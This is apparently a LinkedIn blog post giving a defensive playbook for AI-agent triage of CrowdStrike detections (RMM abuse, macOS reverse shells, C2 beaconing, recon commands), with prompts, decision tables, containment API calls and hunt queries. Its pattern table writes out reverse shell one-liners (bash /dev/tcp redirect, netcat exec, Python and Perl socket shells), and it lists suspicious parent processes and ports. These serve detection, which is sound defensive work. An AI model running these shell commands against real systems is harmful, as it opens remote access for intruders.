Remote Access Abuse and Reverse Shells: An Agentic CrowdStrike Playbook

Series: Agent-Driven Workflows - CrowdStrike Detection Triage. Post 4 of 5. Originally published on LinkedIn. Previous in series: Impact Detections.

Detection Context

This category covers hands-on-keyboard access and command-and-control traffic. Attackers reach these detection categories after initial access - the events indicate control has been established or is actively being attempted.

SuspiciousRMMUsage fires when Falcon Insight observes a known Remote Monitoring and Management (RMM) tool binary running in a context that does not match baseline - unusual parent, unusual command line, unusual network destination, or running on a host that does not have the tool authorized. Common RMM tools include TeamViewer, AnyDesk, ConnectWise ScreenConnect, Splashtop, LogMeIn, Atera, N-Able, and Kaseya. This detection maps to MITRE T1219.

ReverseShellMac fires when Falcon Insight observes a macOS process spawning a shell (bash, zsh, sh, python) with a command line pattern indicating an outbound network connection back to a remote endpoint. Examples include bash -i >& /dev/tcp/<ip>/<port> 0>&1 or Python one-liners establishing a socket to a remote host. This detection maps to MITRE T1059.

InfoCommandandControlMac fires when a macOS process shows behavior consistent with C2 beaconing - repeated outbound connections to a single endpoint with predictable timing or command-response patterns. Correlated with process context (shell interpreter, curl, python, custom binary).

ReconCommands3 fires when a host runs a sequence of enumeration commands (whoami, hostname, net user, ipconfig, systeminfo, dscl, id) in a short window from the same parent process. Often precedes lateral movement or C2 establishment. This detection maps to MITRE T1059.

These four detection types frequently chain together. ReconCommands3 is the earliest signal - a lookback for RMM or reverse shell activity on the same host in the 24 hours following recon is always warranted.

Scenario

A routine triage cycle surfaced four detection types across a single category: SuspiciousRMMUsage (~39%), ReconCommands3 (~35%), ReverseShellMac (~19%), and InfoCommandandControlMac (~8%). ReconCommands3 represented over a third of total volume - a proportion inconsistent with background noise and consistent with systematic host enumeration. Recon at that scale is a precursor indicator.

SuspiciousRMMUsage dominated the set. RMM abuse is the current default persistence mechanism for attackers who want durable access without deploying custom malware. While the binary (TeamViewer, AnyDesk, ScreenConnect) is legitimate, the operator is not. The primary triage discriminator is parent process: if a remote access tool was spawned by powershell.exe, the finding is likely not authorized IT support.

Prompt Chain

Prompt 1 - Pull and structure the detections

Pull all open detections with display_name in [SuspiciousRMMUsage, ReverseShellMac, InfoCommandandControlMac, ReconCommands3]. For each detection return: display_name, severity_name, device.hostname, device_id, ImageFileName, SHA256HashData, CommandLine, ParentImageFileName, ParentCommandLine, UserName, NetworkConnections, first_timestamp, falcon_host_link. Group by display_name and sort by first_timestamp ascending within each group.

Prompt 2 - Triage SuspiciousRMMUsage by parent process

For each SuspiciousRMMUsage detection:

1. Identify the RMM vendor from ImageFileName using the binary name mapping table.
2. Classify ParentImageFileName into one of: [installer, service, user-launched, document-delivered, script-delivered, LOLBAS-delivered].
3. Extract all NetworkConnections destination IPs and domains.
4. Flag any detection where ParentImageFileName matches powershell.exe, cmd.exe, wscript.exe, mshta.exe, curl.exe, bitsadmin.exe, certutil.exe, winword.exe, excel.exe, powerpnt.exe, outlook.exe, chrome.exe, msedge.exe, or firefox.exe.
5. For flagged detections, set severity to CRITICAL and recommend: isolate host, escalate to incident.

Return a summary table: hostname | RMM vendor | parent classification | network destination | recommended action.

Prompt 3 - Triage ReverseShellMac detections

For each ReverseShellMac detection:

1. Parse CommandLine to extract the destination IP and port using known reverse shell patterns (bash TCP redirect, zsh redirect, Python socket, netcat exec, Perl socket).
2. Decode any base64-encoded or obfuscated command lines before parsing.
3. Check whether the destination IP appears in currently active NetworkConnectIP4 events (last 15 minutes).
4. Query Falcon Intelligence for the destination IP reputation.
5. Search ProcessRollup2 events for the same parent SHA256HashData across all hosts in the last 30 days.
6. If the connection is active, the IP is flagged by threat intel, or the parent hash appears on multiple hosts: set severity to CRITICAL and issue the RTR contain command for the device_id.

Return: hostname | destination IP | port | connection active | intel verdict | parent on N hosts | action taken.

Prompt 4 - Correlate ReconCommands3 with follow-on activity

For each ReconCommands3 detection:

1. Record the parent process and the host.
2. Search for any SuspiciousRMMUsage or ReverseShellMac detection on the same hostname within 24 hours after first_timestamp.
3. If follow-on activity exists, chain the recon alert to the follow-on detection’s incident ID and escalate both.
4. If no follow-on activity, set a 7-day monitor flag on the host.

Return: hostname | recon parent | follow-on detection type | follow-on timestamp | action.

Agent Workflow

Sub-type 1: SuspiciousRMMUsage

Step 1 - Identify the RMM tool

Extract ImageFileName and SHA256HashData from the alert. Map the binary name to a known vendor:

Binary name pattern	Vendor
teamviewer*, TeamViewer.exe	TeamViewer
anydesk*, AnyDesk.exe	AnyDesk
screenconnect*, ScreenConnect.ClientService.exe	ConnectWise ScreenConnect
splashtop*, SRStreamer.exe	Splashtop
logmein*, LMIIgnition.exe	LogMeIn
atera*, AteraAgent.exe	Atera
agentmonitor*, WindowsAgent.exe	N-Able (SolarWinds)
kaseya*, AgentMon.exe	Kaseya VSA

Look up the SHA256 against VirusTotal or your internal hash reputation source to confirm the binary is a legitimate vendor build and not a repacked or trojanized version.

Step 2 - Check if the RMM is authorized on this host

Query your CMDB or asset management system:

GET /api/cmdb/hosts/<hostname>/software

Compare the RMM tool against the approved software list for the host’s role. IT-managed workstations may legitimately have one RMM tool installed by the IT vendor. Servers should not typically run interactive RMM tools. If the host is a production server, a developer workstation without an IT-managed RMM, or CDE-scoped, any RMM presence is suspicious.

Step 3 - Examine the parent process

This is the highest-value single triage step. Extract ParentImageFileName and ParentCommandLine:

Parent process	Interpretation
msiexec.exe, installer.exe, setup.exe	Legitimate installation; may still be unauthorized
services.exe, svchost.exe	Running as installed service; expected for authorized RMM
explorer.exe	User-launched; may be legitimate remote support session
winword.exe, excel.exe, powerpnt.exe, outlook.exe	Document-delivered; likely phishing
chrome.exe, msedge.exe, firefox.exe	Browser-downloaded and executed; likely social engineering
powershell.exe, cmd.exe, wscript.exe, mshta.exe	Script-delivered; likely intrusion
curl.exe, bitsadmin.exe, certutil.exe	Downloaded via LOLBAS; likely intrusion

Any parent in the last three rows indicates likely intrusion regardless of whether the RMM tool itself is a legitimate product.

Step 4 - Extract network destinations

Pull the RMM process network connections from the alert or via follow-up query (search Falcon events for NetworkConnectIP4 or DnsRequest where ContextProcessId matches the RMM process, time window plus/minus 15 minutes from first_timestamp). Record all destination IPs, domains, and ports. Compare against known vendor infrastructure:

• TeamViewer: *.teamviewer.com
• AnyDesk: *.net.anydesk.com
• ScreenConnect: *.screenconnect.com or self-hosted tenant domain
• Splashtop: *.splashtop.com

If the destination is a domain outside the vendor’s known infrastructure - including a self-hosted ScreenConnect tenant on an unfamiliar domain - treat as suspicious.

Step 5 - Verify tenant ownership

For ScreenConnect, AnyDesk, and similar tools that support self-hosted or per-tenant infrastructure: extract the specific tenant subdomain or connection code from the network destination, check if the tenant matches your organization’s IT support vendor or MSP, and if the tenant is unknown, contact your IT operations team to confirm. Attackers frequently use self-hosted ScreenConnect instances or their own AnyDesk accounts to reach targets - the tool name is legitimate, the operator is not.

Step 6 - Decision logic (SuspiciousRMMUsage)

Condition	Action
Authorized RMM + expected parent (services.exe) + known vendor infrastructure	Close as authorized
Authorized RMM + explorer.exe parent + known infrastructure + business hours	Verify with user; likely legitimate remote support
Authorized RMM + unexpected tenant destination	HIGH - verify tenant with IT; escalate if unknown
Unauthorized RMM + any parent	HIGH - isolate host, escalate
Any RMM + document/script parent	CRITICAL - isolate host immediately, treat as intrusion
Any RMM + LOLBAS parent (curl, bitsadmin)	CRITICAL - isolate host immediately, treat as intrusion

Sub-type 2: ReverseShellMac

Step 1 - Pull the process tree

GET /processes/entities/processes/v1?ids=<process_id>

Extract parent and grandparent processes. Common legitimate parents on macOS include Terminal.app, iTerm2, ssh, and developer tools. Suspicious parents include browsers, mail clients, and Office applications.

Step 2 - Parse the command line for the shell destination

Extract CommandLine. Common reverse shell patterns:

Pattern	Shell type
bash -i >& /dev/tcp/<ip>/<port> 0>&1	Bash TCP redirect
zsh -c "exec 5<>/dev/tcp/<ip>/<port>..."	Zsh redirect
python -c "import socket,subprocess,os; s=socket.socket()..."	Python socket shell
nc -e /bin/sh <ip> <port>	Netcat exec
perl -e 'use Socket; ... exec("/bin/sh -i");'	Perl socket shell

Extract the destination IP and port from the command line. If the command is base64-encoded or obfuscated, decode it before analysis.

Step 3 - Reputation-check the destination IP

Query threat intelligence sources for the destination IP (GET /intel/entities/indicators/v1?ids=<destination_ip> for Falcon TI). Also check passive DNS records, AbuseIPDB / GreyNoise / VirusTotal reputation, whether the IP is a known cloud provider egress (attackers often use VPS), and whether the IP is in an unexpected geography for your organization.

Step 4 - Check whether the connection is currently active

Query for ongoing network events involving the destination IP (search NetworkConnectIP4 events where RemoteAddressIP4 = destination_ip, last 15 minutes). If the connection is still active, treat as active hands-on-keyboard access. Isolate the host immediately.

Step 5 - Check for file drops near the shell spawn time

Search FileWritten events where ComputerName = hostname, plus/minus 30 minutes from first_timestamp. Look for executables written to /tmp, /var/tmp, ~/Library, or ~/Downloads; scripts (.sh, .py, .pl) with recent write timestamps; and launch agent plists in ~/Library/LaunchAgents/ or /Library/LaunchAgents/ (persistence). Record any file writes that occurred in the same session.

Step 6 - Search for the same parent hash on other hosts

Search ProcessRollup2 events where SHA256HashData = parent_hash over the last 30 days. If the same parent binary appears on multiple hosts, treat as active campaign. Collect all affected hostnames for scope assessment.

Step 7 - Decision logic (ReverseShellMac)

Condition	Action
Legitimate parent (Terminal, developer tool) + known destination (internal jumpbox)	Verify with user; may be legitimate SSH-like workflow
Any browser or Office parent + external destination	CRITICAL - isolate host, begin incident
Destination IP flagged by threat intel	CRITICAL - isolate host, block IP at network edge
Connection still active	CRITICAL - isolate immediately
Same parent hash on multiple hosts	CRITICAL - treat as multi-host campaign

Isolate via Falcon RTR:

POST /devices/entities/devices-actions/v2?action_name=contain
Body: { "ids": ["<device_id>"] }

Sub-type 3: ReconCommands3 (Preceding Signal)

Step 1 - Extract the command sequence

Pull the sequence of recon commands from the alert. Common enumeration commands:

• Windows: whoami, whoami /priv, net user, net group, net localgroup, ipconfig /all, systeminfo, nltest, tasklist, arp -a
• macOS/Linux: id, whoami, uname -a, hostname, ifconfig, dscl . -list /Users, ps aux, netstat -an

Record the parent process that spawned the sequence.

Step 2 - Correlate with subsequent activity

Recon is a precursor. Search for follow-on activity from the same parent process or the same host in the following 24 hours: SuspiciousRMMUsage on the same host, reverse shell patterns, lateral movement events (SMB, WMI, RDP, SSH connections outbound), or credential access events (LSASS access on Windows, security command on macOS). If any follow-on activity is present, treat the recon alert as part of a larger intrusion and escalate.

Step 3 - Decision logic (ReconCommands3)

Condition	Action
Recon + legitimate parent (IT script, monitoring agent)	Close as authorized
Recon + no follow-on activity in 24h	MEDIUM - document, monitor host for 7 days
Recon + subsequent RMM or reverse shell on same host	CRITICAL - chain to intrusion incident, isolate
Recon + browser/Office parent	HIGH - treat as post-exploitation, escalate

CQL Hunt Queries (CrowdStrike NGSIEM / LogScale)

Hunt 1 - RMM tool execution with unusual parent

Detects RMM binaries running outside expected parent contexts. Excludes normal service and installer invocations.

#repo=search-all event.simpleName=ProcessRollup2
  (
    ImageFileName=~wildcard("*teamviewer*")
    OR ImageFileName=~wildcard("*anydesk*")
    OR ImageFileName=~wildcard("*screenconnect*")
    OR ImageFileName=~wildcard("*splashtop*")
    OR ImageFileName=~wildcard("*connectwise*")
    OR ImageFileName=~wildcard("*logmein*")
    OR ImageFileName=~wildcard("*atera*")
  )
  NOT ParentImageFileName=~wildcard("*msiexec*")
  NOT ParentImageFileName=~wildcard("*services*")
  NOT ParentImageFileName=~wildcard("*svchost*")
| select([
    ComputerName,
    UserName,
    ImageFileName,
    ParentImageFileName,
    CommandLine,
    SHA256HashData,
    timestamp
  ])
| groupBy(
    [SHA256HashData, ImageFileName],
    function=[
      count(as=host_count),
      collect([ComputerName]),
      collect([ParentImageFileName])
    ]
  )
| sort(host_count, order=desc)

Tuning: Add more NOT ParentImageFileName filters for legitimate installers used in your environment (e.g., *intune*, *jamf*, *chocolatey*, *ninite*). Add | host_count > 1 to prioritize RMM binaries appearing on multiple hosts.

Hunt 2 - Reverse shell indicators by outbound port pattern

Detects outbound connections on ports commonly used for reverse shells, grouped by process and destination.

#repo=search-all event.simpleName=NetworkConnectIP4
  RemotePort in [4444, 1337, 443, 8080, 8443, 9001, 9002]
| LocalAddressIP4 != "127.0.0.1"
| groupBy(
    [ComputerName, ImageFileName, RemoteAddressIP4, RemotePort],
    function=[
      count(as=connection_count),
      min(timestamp, as=first_connection),
      max(timestamp, as=last_connection)
    ]
  )
| sort(connection_count, order=desc)

Tuning: Port 443 will be noisy - remove it for a stricter hunt, or add browser exclusions. Add RFC1918 destination exclusions to filter internal traffic. For a beaconing hunt, add a timing analysis stage (| bucket(timestamp, span=5m) | groupBy(...)) to look for regular intervals.

Output and Decision

The agent returns a structured result for each detection type.

SuspiciousRMMUsage - representative outcomes:

Outcome	Count	Basis
True Positive - confirmed intrusion (CRITICAL)	Varies	Script/LOLBAS parent, unauthorized tenant
True Positive - unauthorized RMM (HIGH)	Varies	RMM not in CMDB for host role
Undetermined - needs tenant verification	Varies	Authorized tool, unfamiliar destination domain
False Positive - authorized RMM (Close)	Varies	services.exe parent, known vendor infrastructure, in CMDB

ReverseShellMac - representative outcomes:

Outcome	Count	Basis
True Positive - active C2 (CRITICAL, isolated)	Varies	Active connection + flagged IP
True Positive - terminated session (HIGH)	Varies	Threat intel hit, no longer active
False Positive - developer workflow	Varies	Terminal parent, known internal jumpbox

ReconCommands3 - representative outcomes:

Outcome	Count	Basis
True Positive - chained to intrusion (CRITICAL)	Varies	Follow-on RMM or shell within 24h
Undetermined - monitor (MEDIUM)	Varies	No follow-on yet; 7-day watch flag set
False Positive - authorized IT script	Varies	Monitoring agent parent

Confirmed True Positive response (SuspiciousRMMUsage + ReverseShellMac):

Isolate the host. For SuspiciousRMMUsage: collect the RMM configuration file - it contains the operator’s tenant and connection ID. Block the RMM’s known infrastructure at the network edge if the tool is not authorized in your environment. Notify the user and rebuild from image. Add the RMM binary hash to a watchlist.

For ReverseShellMac: preserve process memory via Falcon RTR before ending the process. Block the destination IP at the network edge. Pull all outbound connections from the host in the past 30 days to identify additional compromised infrastructure. Rebuild.

For ReconCommands3 with follow-on activity: do not close in isolation. Chain to the follow-on detection’s incident. Preserve the recon alert as evidence of the intrusion timeline.

Prerequisites

Access required:

System	Access needed	Purpose
CrowdStrike Falcon	Detections read, RTR contain, Event Search	Pull alerts, isolate hosts, run CQL hunts
Falcon Intelligence	Indicator lookup	Reputation-check destination IPs
CMDB / Asset Management	Software inventory read	Verify RMM authorization for host role
VirusTotal / AbuseIPDB / GreyNoise	API access	Hash and IP reputation
Network edge (firewall/proxy)	Block rule write	Block confirmed C2 destinations

Context that improves triage accuracy:

• An approved RMM tool list per host role (workstation vs. server vs. CDE-scoped), with authorized SHA256 hashes and tenant identifiers
• A known-good parent process list for your RMM tools (installer paths, MDM agent names used in your environment)
• Falcon prevention policies that block unauthorized RMM installers at the endpoint level
• Historical baseline of ReconCommands3 frequency per host - a sudden spike on a previously clean host is higher signal than chronic low-volume noise from a developer machine
• MSP or IT vendor contact information to verify ScreenConnect or AnyDesk tenant ownership quickly during a live triage

RMM abuse and reverse shells are detections where the parent process context and the network destination together determine the outcome, and neither field alone is sufficient. Codifying the parent-to-action mapping into an agent prompt removes the judgment call that slows human triage.

Compounding that with the ReconCommands3 correlation step means the agent is assembling intrusion timelines automatically and flagging multi-host campaigns before they spread. Every isolation action, every tenant verification, and every follow-on search is timestamped and linked to the originating detection, which means the audit trail from initial alert to containment decision exists in structured form without manual documentation.

---

Next in series: Privilege Escalation - LSASS access, credential dumping, and password spray detections.

---

Interested in automating EDR detection triage with AI agents? See how 543HQ designs security automation workflows.